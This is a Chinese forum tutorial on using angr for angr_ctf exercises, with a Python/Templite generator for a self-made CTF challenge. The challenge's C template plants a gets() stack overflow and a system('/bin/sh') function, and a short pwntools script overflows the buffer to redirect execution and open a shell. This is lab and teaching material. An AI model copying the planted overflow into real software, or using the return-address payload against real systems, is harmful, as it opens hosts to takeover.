首页
社区
课程
招聘
[原创]angr学习(三)一道自己模仿着出的简单题和angr-ctf符号化输入相关题目
发表于: 2021-6-30 17:20 16605

[原创]angr学习(三)一道自己模仿着出的简单题和angr-ctf符号化输入相关题目

2021-6-30 17:20
16605

之前学习01_angr_avoid就很奇怪它是怎么生成这样一个有很多重复函数的程序的,后来五一期间,由于某个需求,本菜鸡就硬着头皮想自己也仿着出一个类似的题。还好angr_ctf仓库有相应的源码,是用python的模版引擎templite生成的。下面就是这道题,没有新意,有点套娃的感觉,angr接一个简单栈溢出。当时临时通知,时间紧任务还算有点重(还有其他的)?平时没这方面准备,出完后也没想那么多,现在再看有点……,不要喷我,贴出来只是学习一下怎么用python代码生成那种c程序。

对于angr_ctf题目,这个文件存储的就是 placeholder,print_msg打印的就是从它获取的内容。

运行生成二进制文件:

image-20210630161445362

利用:

image-20210630162649656

image-20210630162729174

下面继续以前写了一半就丢一边的其他题目。

image-20210102183600870

分析完后发现程序的功能是:以十六进制格式输入3个值,然后分别对他们做不同的复杂运算,最后判断三个复杂运算的结果,如果都为假,那么会打印“Good Job.”。

image-20210102185155416

那是怎么判断出传入complex_function1complex_function2complex_function3 的参数是输入的三个变量的呢?首先来看一看要求以十六进制格式输入三个值的输入函数get_user_input

image-20210102185656396

然后,main函数中的v4get_user_input函数的返回值,很明显就是第一个输入值了。main函数中的v3由上方声明处的注释可知是ebx的值,v6v5赋值,是edx的值。都是寄存器中值,那就说明它们的值不是预先定义好,猜测是对应输入函数get_user_input里的v2和v3,那么去查看输入函数get_user_input的汇编代码。输入之后,分别把输入值先后赋值给了eax、ebx和edx,刚好对应main函数的v4、v3和v6。

image-20210102190505083

接着,我们想想怎么解题。这一题和前面的题目最大的不同就是要符号化输入,前面三题之所以没有对输入进行符号化是因为输入很简单,angr自动对其进行符号化了,以便输入函数将符号值注入到寄存器中。这一题因为输入scanf函数中的格式化字符串更复杂,目前angr不支持从scanf函数读取多个值,所以需要我们往寄存器中手动注入符号。

image-20210102213430758

本题就需要对这三个寄存器进行注入,并且告诉模拟引擎在scanf函数之后开始。

image-20210102212325874

结合汇编代码如下图所示。

image-20210102213236563

开始地址是:0x80488d1

image-20210102213916953

当输入复杂,需要手动注入符号值的几个情况:

运行结果:

image-20210102220626889

Bitvectors:可以看angrctf里的ppt,很清楚,这里就不再贴了。

eval

image-20210102215817440

image-20210629174704700

这里同样的,scanf的格式化字符串有两个参数,相对“复杂”。因为对于scanf函数,angr只能自动注入一个参数,所以需要我们手动进行注入。同时在对输入符号化后还需找到启动程序的地方。

image-20210629194135931

调用函数scanf对应的汇编代码如下所示,红框中的代码为调用scanf函数的过程。

image-20210629194026620

v1的地址是ebp-0x10,v2的地址是ebp-0xc,函数handle_user调用scanf函数前后栈的结构如下图所示。所以,很明显,add esp,10h指令才是调用scanf函数的最后一条指令。因此,angr启动该程序的地址应该设置为0x08048697。

image-20210629204838623

上一题只需要把符号值注入给寄存器,然后从指定地址启动程序就可以了,但是这一题不一样,要符号化的输入在栈里,所以我们需要在启动该程序之前自己构造相应的栈结构。

方法是通过state.stack_push(my_bitvector)来将值my_bitvector push到栈顶。另外,如果需要push一些无用的数据,则可以使用类似state.regs.esp-=4的代码来达到目的,这行代码实现的就是填充4字节的padding。

因为这一题关闭了Canary,所以v2和ebp之间只填充无用数据就可以。

运行结果:

image-20210102220436236

image-20210102220803629

image-20210629214806006

解题思路和上一题是一样的,不过这里使用state.memory.store(address, value)将全局变量的值修改为符号值(操作一段连续的内存)。

image-20210629211803353

启动地址:0x8048606。

image-20210629222225378

运行结果:

image-20210103194854392

image-20210102221914520

image-20210629215952660

分配动态内存的程序的一般执行流程如下图所示。

image-20210629215452950

既然heap上的内存地址会变化,那么我们可以选择两个未被使用的内存地址,并覆盖两个buffer指针分别指向它们。因为buffer0和buffer1是全局变量且程序关闭了PIE,所以是可以实现的。

image-20210629221053828

启动地址:0x804869e

image-20210629222110381

cast_to:可以接收一个参数来指定把结果映射到哪种数据类型。目前这个参数只能是str,它将会以字符串形式展示返回的结果

运行结果:

image-20210103195546043

image-20210102222016102

image-20210630093643071

image-20210630093713228

这一题的目的是想要让我们学会:当输入来自文件(包括网络、另一个程序的输出和/dev/urandom等),那么如何符号化输入。

image-20210629223443461

方法就是将整个文件都符号化。在angr中,与文件系统、套接字、管道或终端的任何交互的根源都是一个 SimFile 对象。SimFile 是一种存储抽象,它定义一个字节序列,不管是符号的还是其他的。

通过SimFile创建一个有具体内容的文件的方法:

接着,如果想让 SimFile 对程序可用,我们需要将它放在文件系统中,模拟的文件系统是 state.fs插件。将模拟文件放入文件系统有两种方法,一是在创建初始状态的同时将模拟文件存储进去:

二是在创建初始状态之后单独使用insert将文件存储到文件系统中,另外还可以使用 getdelete 方法从文件系统中加载和删除文件。更多关于SimFile的内容可看官方文档

image-20210629223810333

启动地址仍然是找输入之后的指令:0x080488DB。

image-20210630110405946

运行结果:
image-20210630110125858

#!/usr/bin/env pypy
import sys, random, os, tempfile
from templite import Templite
 
def generate(argv):
  if len(argv) != 3:
    print 'Usage: pypy generate.py [seed] [output_file]'
    sys.exit()
 
  seed = argv[1]
  output_file = argv[2]
 
  random.seed(seed)
 
  # 获取描述文字
  description = ''
  with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'description.txt'), 'r') as desc_file:
    description = desc_file.read().encode('string_escape').replace('\"', '\\\"')
 
  random_list = [random.choice([True, False]) for _ in xrange(64)]
  # 读取模板文件auto.c.templite
  template = open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'auto.c.templite'), 'r').read()
  # 渲染模板,传入描述文字和随机boolean列表,得到c代码
  c_code = Templite(template).render(description=description, random_list=random_list)
 
  # 写c代码到c文件,并调用gcc进行编译
  with tempfile.NamedTemporaryFile(delete=False, suffix='.c') as temp:
    temp.write(c_code)
    temp.seek(0)
    os.system('gcc -m32 -fno-stack-protector -o ' + output_file + ' ' + temp.name)
 
if __name__ == '__main__':
  generate(sys.argv)
#!/usr/bin/env pypy
import sys, random, os, tempfile
from templite import Templite
 
def generate(argv):
  if len(argv) != 3:
    print 'Usage: pypy generate.py [seed] [output_file]'
    sys.exit()
 
  seed = argv[1]
  output_file = argv[2]
 
  random.seed(seed)
 
  # 获取描述文字
  description = ''
  with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'description.txt'), 'r') as desc_file:
    description = desc_file.read().encode('string_escape').replace('\"', '\\\"')
 
  random_list = [random.choice([True, False]) for _ in xrange(64)]
  # 读取模板文件auto.c.templite
  template = open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'auto.c.templite'), 'r').read()
  # 渲染模板,传入描述文字和随机boolean列表,得到c代码
  c_code = Templite(template).render(description=description, random_list=random_list)
 
  # 写c代码到c文件,并调用gcc进行编译
  with tempfile.NamedTemporaryFile(delete=False, suffix='.c') as temp:
    temp.write(c_code)
    temp.seek(0)
    os.system('gcc -m32 -fno-stack-protector -o ' + output_file + ' ' + temp.name)
 
if __name__ == '__main__':
  generate(sys.argv)
Welcome~~~
Welcome~~~
${
import random, os
random.seed(os.urandom(8))
userdef_charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
userdef = ''.join(random.choice(userdef_charset) for _ in range(8)) # 随机选取8个字母当作userdef,也就是最后输入要比较的字符串
 
def check_string_recursive(array0, array1, random_list, bit):
  if bit < 0:
    write('aas(%s, %s);' % (array0, array1))
  else:
    if random_list[0]: # 如果随机boolean列表第一个元素为True
      write('if (CHECK_BIT(%s, %d) == CHECK_BIT(%s, %d)) {' % (array0, bit, array1, bit))
      check_string_recursive(array0, array1, random_list[1:], bit-1# 递归调用
      write('} else { aaz(); ')
      check_string_recursive(array0, array1, random_list[1:], bit-1) # 将should_succeed设置为0之后再递归调用
      write('}')
    else: # 如果随机boolean列表第一个元素为False
      write('if (CHECK_BIT(%s, %d) != CHECK_BIT(%s, %d)) { aaz();' % (array0, bit, array1, bit))
      check_string_recursive(array0, array1, random_list[1:], bit-1) # 将should_succeed设置为0之后再递归调用
      write('} else { ')
      check_string_recursive(array0, array1, random_list[1:], bit-1) # 递归调用
      write('}')
}$
 
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
 
#define USERDEF "${ userdef }$"
#define LEN_USERDEF ${ write(len(userdef)) }$
 
// return true if nth bit of array is 1
#define CHECK_BIT(array, bit_index) (!!(((uint8_t*) array)[bit_index / 8] & (((uint8_t) 0x1) << (bit_index % 8))))
 
char msg[] =
  "${ description }$";
 
uint8_t should_succeed = 1;
 
void print_msg() {
  printf("%s", msg);
}
 
int complex_function(int value, int i) { // 。。。复杂运算,直接就遍历出来了,应该改复杂一些的
#define LAMBDA 5
  if (!('A' <= value && value <= 'Z')) {
    printf("Try again.\n");
    exit(1);
  }
  return ((value - 'A' + (LAMBDA * i)) % ('Z' - 'A' + 1)) + 'A';
}
 
void aaz() {
  should_succeed = 0;
}
 
void get_sh(){
  system("/bin/sh");
}
 
int login_again() {
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  setbuf(stdin, NULL);
 
  char pwd[64];
  printf("Enter the password again: ");
  gets(&pwd);  // 栈溢出
  if(strcmp(pwd,"deadbeef") == 0){
    puts("I think you can't get shell");
  }else{
    puts("Error.");
  }
  return 0;
}
 
void aas(char* compare0, char* compare1) {
  if (should_succeed && !strncmp(compare0, compare1, 8)) { // 如果should_succeed为真,且进行复杂运算之后的输入和userdef相等,就进入下一步
    login_again();
  } else {
    printf("Error.\n");
  }
}
 
int main(int argc, char* argv[]) {
 
  char buffer[20];
  char password[20];
 
  //print_msg();
 
  for (int i=0; i < 20; ++i) {
    password[i] = 0;
  }
 
  strncpy(password, USERDEF, LEN_USERDEF); // password = USERDEF,最后要和输入比较的字符串
 
  printf("Enter the password: "); // 输入
  scanf("%8s", buffer);
 
  for (int i=0; i<LEN_USERDEF; ++i) { // 对输入进行复杂运算
    buffer[i] = (char) complex_function(buffer[i], i);
  }
  // 递归调用,也就是这里生成很多函数
  ${ check_string_recursive('buffer', 'password', random_list, 12) }$
}
${
import random, os
random.seed(os.urandom(8))
userdef_charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
userdef = ''.join(random.choice(userdef_charset) for _ in range(8)) # 随机选取8个字母当作userdef,也就是最后输入要比较的字符串
 
def check_string_recursive(array0, array1, random_list, bit):
  if bit < 0:
    write('aas(%s, %s);' % (array0, array1))
  else:
    if random_list[0]: # 如果随机boolean列表第一个元素为True
      write('if (CHECK_BIT(%s, %d) == CHECK_BIT(%s, %d)) {' % (array0, bit, array1, bit))
      check_string_recursive(array0, array1, random_list[1:], bit-1# 递归调用
      write('} else { aaz(); ')
      check_string_recursive(array0, array1, random_list[1:], bit-1) # 将should_succeed设置为0之后再递归调用
      write('}')
    else: # 如果随机boolean列表第一个元素为False
      write('if (CHECK_BIT(%s, %d) != CHECK_BIT(%s, %d)) { aaz();' % (array0, bit, array1, bit))
      check_string_recursive(array0, array1, random_list[1:], bit-1) # 将should_succeed设置为0之后再递归调用
      write('} else { ')
      check_string_recursive(array0, array1, random_list[1:], bit-1) # 递归调用
      write('}')
}$
 
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
 
#define USERDEF "${ userdef }$"
#define LEN_USERDEF ${ write(len(userdef)) }$
 
// return true if nth bit of array is 1
#define CHECK_BIT(array, bit_index) (!!(((uint8_t*) array)[bit_index / 8] & (((uint8_t) 0x1) << (bit_index % 8))))
 
char msg[] =
  "${ description }$";
 
uint8_t should_succeed = 1;
 
void print_msg() {
  printf("%s", msg);
}
 
int complex_function(int value, int i) { // 。。。复杂运算,直接就遍历出来了,应该改复杂一些的
#define LAMBDA 5
  if (!('A' <= value && value <= 'Z')) {
    printf("Try again.\n");
    exit(1);
  }
  return ((value - 'A' + (LAMBDA * i)) % ('Z' - 'A' + 1)) + 'A';
}
 
void aaz() {
  should_succeed = 0;
}
 
void get_sh(){
  system("/bin/sh");
}
 
int login_again() {
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  setbuf(stdin, NULL);
 
  char pwd[64];
  printf("Enter the password again: ");
  gets(&pwd);  // 栈溢出
  if(strcmp(pwd,"deadbeef") == 0){
    puts("I think you can't get shell");
  }else{
    puts("Error.");
  }
  return 0;
}
 
void aas(char* compare0, char* compare1) {
  if (should_succeed && !strncmp(compare0, compare1, 8)) { // 如果should_succeed为真,且进行复杂运算之后的输入和userdef相等,就进入下一步
    login_again();
  } else {
    printf("Error.\n");
  }
}
 
int main(int argc, char* argv[]) {
 
  char buffer[20];
  char password[20];
 
  //print_msg();
 
  for (int i=0; i < 20; ++i) {
    password[i] = 0;
  }
 
  strncpy(password, USERDEF, LEN_USERDEF); // password = USERDEF,最后要和输入比较的字符串
 
  printf("Enter the password: "); // 输入
  scanf("%8s", buffer);
 
  for (int i=0; i<LEN_USERDEF; ++i) { // 对输入进行复杂运算
    buffer[i] = (char) complex_function(buffer[i], i);
  }
  // 递归调用,也就是这里生成很多函数
  ${ check_string_recursive('buffer', 'password', random_list, 12) }$
}
python generate.py 123 auto
python generate.py 123 auto
 
# auto_angr.py
import angr
import sys
 
def main(argv):
  path_to_binary = './auto2'
  project = angr.Project(path_to_binary)
  initial_state = project.factory.entry_state()
  simulation = project.factory.simgr(initial_state)
 
  success_address = 0x0804874A
  will_not_succeed_address = 0x08048658
  simulation.explore(find=success_address, avoid=will_not_succeed_address)
 
  if simulation.found:
    solution_state = simulation.found[0]
    print(solution_state.posix.dumps(sys.stdin.fileno()))
  else:
    raise Exception('Could not find the solution')
 
if __name__ == '__main__':
  main(sys.argv)
# auto_angr.py
import angr
import sys
 
def main(argv):
  path_to_binary = './auto2'
  project = angr.Project(path_to_binary)
  initial_state = project.factory.entry_state()
  simulation = project.factory.simgr(initial_state)
 
  success_address = 0x0804874A
  will_not_succeed_address = 0x08048658
  simulation.explore(find=success_address, avoid=will_not_succeed_address)
 
  if simulation.found:
    solution_state = simulation.found[0]
    print(solution_state.posix.dumps(sys.stdin.fileno()))
  else:
    raise Exception('Could not find the solution')
 
if __name__ == '__main__':
  main(sys.argv)
# auto_exp.py
from pwn import *
#context.log_level = 'debug'
p = process('./auto')
 
#p = remote('127.0.0.1',10001)
p.recvuntil('password: \n')
p.send('UXYUKVNZ')
p.recvuntil('again: \n')
p.sendline(b'a'*0x4c + p32(0x08048665))
p.recvline()
p.interactive()
# auto_exp.py
from pwn import *
#context.log_level = 'debug'
p = process('./auto')
 
#p = remote('127.0.0.1',10001)
p.recvuntil('password: \n')
p.send('UXYUKVNZ')
p.recvuntil('again: \n')
p.sendline(b'a'*0x4c + p32(0x08048665))
p.recvline()
p.interactive()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
import angr
import claripy
import sys
 
def main(argv):
  path_to_binary = argv[1]
  project = angr.Project(path_to_binary)
 
  # 这里我们指定符号执行引擎开始的地方
  # 注意,这里state的构造函数用的是blank_state,构造了一个空白state,不再是entry_state了
  start_address = 0x80488d1  # :integer (probably hexadecimal)
  initial_state = project.factory.blank_state(addr=start_address)
 
  # 创建一个符号位向量(angr用于给二进制文件注入符号值的数据类型)
  password0_size_in_bits = 32  # :integer
  password0 = claripy.BVS('password0', password0_size_in_bits)
 
  password1_size_in_bits = 32  # :integer
  password1 = claripy.BVS('password1', password1_size_in_bits)
 
  password2_size_in_bits = 32  # :integer
  password2 = claripy.BVS('password2', password2_size_in_bits)
 
  # 将寄存器设置为符号值。 这是向程序中注入符号的一种方法。
  # 将不同寄存器设置为不同的符号值
  initial_state.regs.eax = password0
  initial_state.regs.ebx = password1
  initial_state.regs.edx = password2
 
  simulation = project.factory.simgr(initial_state)
 
  def is_successful(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Good Job.' in str(stdout_output)
 
  def should_abort(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Try again.' in str(stdout_output)
 
  simulation.explore(find=is_successful, avoid=should_abort)
 
  if simulation.found:
    solution_state = simulation.found[0]
 
    # 使用eval来得到求解值
    # 原解题脚本的state.se已经被废弃,根据提示使用state.solver
    solution0 = solution_state.solver.eval(password0)
    solution1 = solution_state.solver.eval(password1)
    solution2 = solution_state.solver.eval(password2)
 
    # 汇总并格式化上面的结果,最后打印出来
    solution = ' '.join(map('{:x}'.format, [ solution0, solution1, solution2 ]))  # :string
    print(solution)
  else:
    raise Exception('Could not find the solution')
 
if __name__ == '__main__':
  main(sys.argv)
import angr
import claripy
import sys
 
def main(argv):
  path_to_binary = argv[1]
  project = angr.Project(path_to_binary)
 
  # 这里我们指定符号执行引擎开始的地方
  # 注意,这里state的构造函数用的是blank_state,构造了一个空白state,不再是entry_state了
  start_address = 0x80488d1  # :integer (probably hexadecimal)
  initial_state = project.factory.blank_state(addr=start_address)
 
  # 创建一个符号位向量(angr用于给二进制文件注入符号值的数据类型)
  password0_size_in_bits = 32  # :integer
  password0 = claripy.BVS('password0', password0_size_in_bits)
 
  password1_size_in_bits = 32  # :integer
  password1 = claripy.BVS('password1', password1_size_in_bits)
 
  password2_size_in_bits = 32  # :integer
  password2 = claripy.BVS('password2', password2_size_in_bits)
 
  # 将寄存器设置为符号值。 这是向程序中注入符号的一种方法。
  # 将不同寄存器设置为不同的符号值
  initial_state.regs.eax = password0
  initial_state.regs.ebx = password1
  initial_state.regs.edx = password2
 
  simulation = project.factory.simgr(initial_state)
 
  def is_successful(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Good Job.' in str(stdout_output)
 
  def should_abort(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Try again.' in str(stdout_output)
 
  simulation.explore(find=is_successful, avoid=should_abort)
 
  if simulation.found:
    solution_state = simulation.found[0]
 
    # 使用eval来得到求解值
    # 原解题脚本的state.se已经被废弃,根据提示使用state.solver

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-7-1 18:14 被ztree编辑 ,原因:
上传的附件:
  • auto (567.78kb,10次下载)
收藏
免费 6
支持
分享
最新回复 (9)
雪    币: 0
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习了,师傅tql
2021-11-10 09:13
0
雪    币: 0
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
  # 开始构造栈结构
  # 最初,ebp和esp的值相等
  initial_state.regs.ebp = initial_state.regs.esp
师傅,这里不应该是将 ebp 赋值给 esp 吗
还是 old ebp 前面的数据没用到,只要栈空间结构一样就行,具体位置无所谓 ?
2021-11-10 14:25
0
雪    币: 0
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
两种我都试了,结果是一样的,这不影响结果吗
2021-11-10 14:28
0
雪    币: 10984
活跃值: (7768)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
5
霸霸XD # 开始构造栈结构 # 最初,ebp和esp的值相等 initial_state.regs.ebp = initial_state.regs.esp 师傅,这里不应该是将 ebp 赋 ...
不是,是把esp的值给ebp。initial_state.regs.ebp = initial_state.regs.esp这一行是模仿 0x804867A的mov ebp, esp。

那题是从一个程序的中间开始模拟执行,所以python代码15~27是在模拟汇编0x804867A~0x8048694对栈空间所做的操作,是构造原程序调用scanf之后的栈结构。

old ebp 前面的数据是没用到的,只要栈空间结构一样就行。我想到两个原因:
1)模拟执行是在handle_user()函数中调用scanf函数后开始的,并且模拟执行在handle_user()函数中结束,不涉及到handle_user函数的调用者,所以只要构造出call handle_user之后,call scanf之后的栈空间就可以。
2)initial_state是blank_state,你可以在开始构造前打印一下initial_state.regs.ebp和initial_state.regs.esp。ebp是一个不受约束的符号值,而esp的值是0x7fff0000,是进程空间的最高地址,所以old ebp前面的数据肯定是没用到的。

之所以结果一样,是因为对于后面的操作来说,mov ebp,esp和 mov esp,ebp的效果是一样的,都是让ebp和esp的值一样,不影响后面的操作。
2021-11-10 17:09
0
雪    币: 0
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
感谢师傅解答
2021-11-11 14:56
0
雪    币: 1446
活跃值: (846)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
好评
2021-12-4 16:54
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
8
老哥这个angr的模板引擎依赖No module named 'templite' 哪里有的下的搜了一圈没看到.
2021-12-4 22:15
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
9
额搜到了pip install templite就好了
2021-12-4 22:23
0
雪    币: 1446
活跃值: (846)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
感觉写的比安全客上的好一点
2021-12-5 00:56
0
游客
登录 | 注册 方可回帖
返回
//